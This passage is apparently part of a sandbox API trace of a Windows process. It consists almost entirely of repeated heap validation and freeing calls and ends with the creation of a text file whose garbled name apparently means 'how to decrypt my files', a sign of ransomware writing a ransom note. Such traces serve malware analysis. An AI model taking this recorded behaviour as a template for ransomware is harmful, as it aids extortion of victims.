lpMem=0x7f7dc8) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7dc8 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7caf28) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7caf28 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb6d0) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb6d0 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7d58) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7d58 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5f0) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5f0 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cafb8) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cafb8 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d3560) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d3560 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d6030) returned 1 [0121.831] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d6030 | out: hHeap=0x7b0000) returned 1 [0121.834] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9628) returned 1 [0121.834] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9628 | out: hHeap=0x7b0000) returned 1 [0121.836] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d3560) returned 1 [0121.836] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d3560 | out: hHeap=0x7b0000) returned 1 [0121.839] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0b50) returned 1 [0121.839] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0b50 | out: hHeap=0x7b0000) returned 1 [0121.843] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d3560) returned 1 [0121.843] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d3560 | out: hHeap=0x7b0000) returned 1 [0121.849] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0b50) returned 1 [0121.849] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0b50 | out: hHeap=0x7b0000) returned 1 [0121.905] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8) returned 1 [0121.905] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8 | out: hHeap=0x7b0000) returned 1 [0121.918] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d6030) returned 1 [0121.918] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d6030 | out: hHeap=0x7b0000) returned 1 [0121.938] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e32a0) returned 1 [0121.938] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e32a0 | out: hHeap=0x7b0000) returned 1 [0122.018] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e34e0) returned 1 [0122.018] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e34e0 | out: hHeap=0x7b0000) returned 1 [0122.093] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778) returned 1 [0122.093] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778 | out: hHeap=0x7b0000) returned 1 [0122.093] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb548) returned 1 [0122.093] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb548 | out: hHeap=0x7b0000) returned 1 [0122.093] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d20d8) returned 1 [0122.093] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d20d8 | out: hHeap=0x7b0000) returned 1 [0122.093] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb660) returned 1 [0122.093] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb660 | out: hHeap=0x7b0000) returned 1 [0122.093] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803920) returned 1 [0122.093] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803920 | out: hHeap=0x7b0000) returned 1 [0122.093] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5f0) returned 1 [0122.093] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5f0 | out: hHeap=0x7b0000) returned 1 [0122.093] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0c40) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0c40 | out: hHeap=0x7b0000) returned 1 [0122.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0122.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803920) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803920 | out: hHeap=0x7b0000) returned 1 [0122.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9de8) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9de8 | out: hHeap=0x7b0000) returned 1 [0122.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0fe8) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0fe8 | out: hHeap=0x7b0000) returned 1 [0122.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d20d8) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d20d8 | out: hHeap=0x7b0000) returned 1 [0122.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e36a0) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e36a0 | out: hHeap=0x7b0000) returned 1 [0122.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d6030) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d6030 | out: hHeap=0x7b0000) returned 1 [0122.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803920) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803920 | out: hHeap=0x7b0000) returned 1 [0122.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9de8) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9de8 | out: hHeap=0x7b0000) returned 1 [0122.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d3560) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d3560 | out: hHeap=0x7b0000) returned 1 [0122.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d1270) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d1270 | out: hHeap=0x7b0000) returned 1 [0122.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d12b0) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d12b0 | out: hHeap=0x7b0000) returned 1 [0122.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778 | out: hHeap=0x7b0000) returned 1 [0122.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c4080) returned 1 [0122.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c4080 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf7a0) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf7a0 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x805038) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x805038 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d11f0) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d11f0 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d1230) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d1230 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb660) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb660 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c4038) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c4038 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf720) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf720 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5b8) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5b8 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804cd0) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804cd0 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803b78) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803b78 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d1230) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d1230 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb660) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb660 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5b8) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5b8 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c4038) returned 1 [0122.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c4038 | out: hHeap=0x7b0000) returned 1 [0122.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d22c0) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d22c0 | out: hHeap=0x7b0000) returned 1 [0122.096] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803920) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803920 | out: hHeap=0x7b0000) returned 1 [0122.096] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d10f0) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d10f0 | out: hHeap=0x7b0000) returned 1 [0122.096] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d11b0) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d11b0 | out: hHeap=0x7b0000) returned 1 [0122.096] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5f0) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5f0 | out: hHeap=0x7b0000) returned 1 [0122.096] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3ff0) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3ff0 | out: hHeap=0x7b0000) returned 1 [0122.096] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0122.096] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8 | out: hHeap=0x7b0000) returned 1 [0122.096] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb548) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb548 | out: hHeap=0x7b0000) returned 1 [0122.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e984 | out: lpSystemTimeAsFileTime=0x18e984*(dwLowDateTime=0x9d39b760, dwHighDateTime=0x1d5ca1f)) [0122.096] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0 | out: hHeap=0x7b0000) returned 1 [0122.096] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0 | out: hHeap=0x7b0000) returned 1 [0122.096] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0 | out: hHeap=0x7b0000) returned 1 [0122.096] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804d00) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804d00 | out: hHeap=0x7b0000) returned 1 [0122.096] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804d60) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804d60 | out: hHeap=0x7b0000) returned 1 [0122.096] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804d90) returned 1 [0122.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804d90 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x805370) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x805370 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804d90) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804d90 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x805340) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x805340 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8052e0) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8052e0 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804dc0) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804dc0 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7e00) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7e00 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7dc8) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7dc8 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804d00) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804d00 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5b8) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5b8 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804d60) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804d60 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb548) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb548 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x805280) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x805280 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7e38) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7e38 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5b8) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5b8 | out: hHeap=0x7b0000) returned 1 [0122.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7d90) returned 1 [0122.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7d90 | out: hHeap=0x7b0000) returned 1 [0122.098] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x805e98) returned 1 [0122.098] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x805e98 | out: hHeap=0x7b0000) returned 1 [0122.098] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8060c8) returned 1 [0122.098] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8060c8 | out: hHeap=0x7b0000) returned 1 [0122.098] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804d30) returned 1 [0122.098] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x804d30 | out: hHeap=0x7b0000) returned 1 [0122.098] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0fe8) returned 1 [0122.098] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0fe8 | out: hHeap=0x7b0000) returned 1 [0122.098] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803b50) returned 1 [0122.098] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803b50 | out: hHeap=0x7b0000) returned 1 [0122.098] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8079c8) returned 1 [0122.098] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8079c8 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7dc8) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7dc8 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x806500) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x806500 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x806738) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x806738 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x807198) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x807198 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x806968) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x806968 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8052b0) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8052b0 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7e00) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7e00 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x805310) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x805310 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7d58) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7d58 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb660) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb660 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8053a0) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8053a0 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e3800) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e3800 | out: hHeap=0x7b0000) returned 1 [0122.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803920) returned 1 [0122.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803920 | out: hHeap=0x7b0000) returned 1 [0122.100] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9628) returned 1 [0122.100] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9628 | out: hHeap=0x7b0000) returned 1 [0122.100] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e3800) returned 1 [0122.100] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e3800 | out: hHeap=0x7b0000) returned 1 [0122.100] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0fe8) returned 1 [0122.100] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0fe8 | out: hHeap=0x7b0000) returned 1 [0122.100] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e3800) returned 1 [0122.100] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e3800 | out: hHeap=0x7b0000) returned 1 [0122.100] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0fe8) returned 1 [0122.100] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0fe8 | out: hHeap=0x7b0000) returned 1 [0122.100] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d20d8) returned 1 [0122.100] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d20d8 | out: hHeap=0x7b0000) returned 1 [0122.100] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8) returned 1 [0122.100] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8 | out: hHeap=0x7b0000) returned 1 [0122.100] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803920) returned 1 [0122.100] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803920 | out: hHeap=0x7b0000) returned 1 [0122.100] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x809698) returned 1 [0122.100] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x809698 | out: hHeap=0x7b0000) returned 1 [0122.101] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803920) returned 1 [0122.101] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x803920 | out: hHeap=0x7b0000) returned 1 [0122.101] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb580) returned 1 [0122.101] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb580 | out: hHeap=0x7b0000) returned 1 [0122.101] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x80a9e0) returned 1 [0122.101] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x80a9e0 | out: hHeap=0x7b0000) returned 1 [0122.101] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb660) returned 1 [0122.101] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb660 | out: hHeap=0x7b0000) returned 1 [0122.101] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0b50) returned 1 [0122.101] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0b50 | out: hHeap=0x7b0000) returned 1 [0122.101] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0122.101] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0122.101] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0122.101] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0122.101] AreFileApisANSI () returned 1 [0122.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x7c9648, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0122.101] CreateFileW (lpFileName="c:\\_ÈçºÎ½âÃÜÎÒµÄÎļþ_.txt" (normalized: "c:\\_èçºî½âãüîòµäîä¼þ_.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e708, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98 [0122.102] GetFileType (hFile=0x98) returned 0x1 [0122.102] 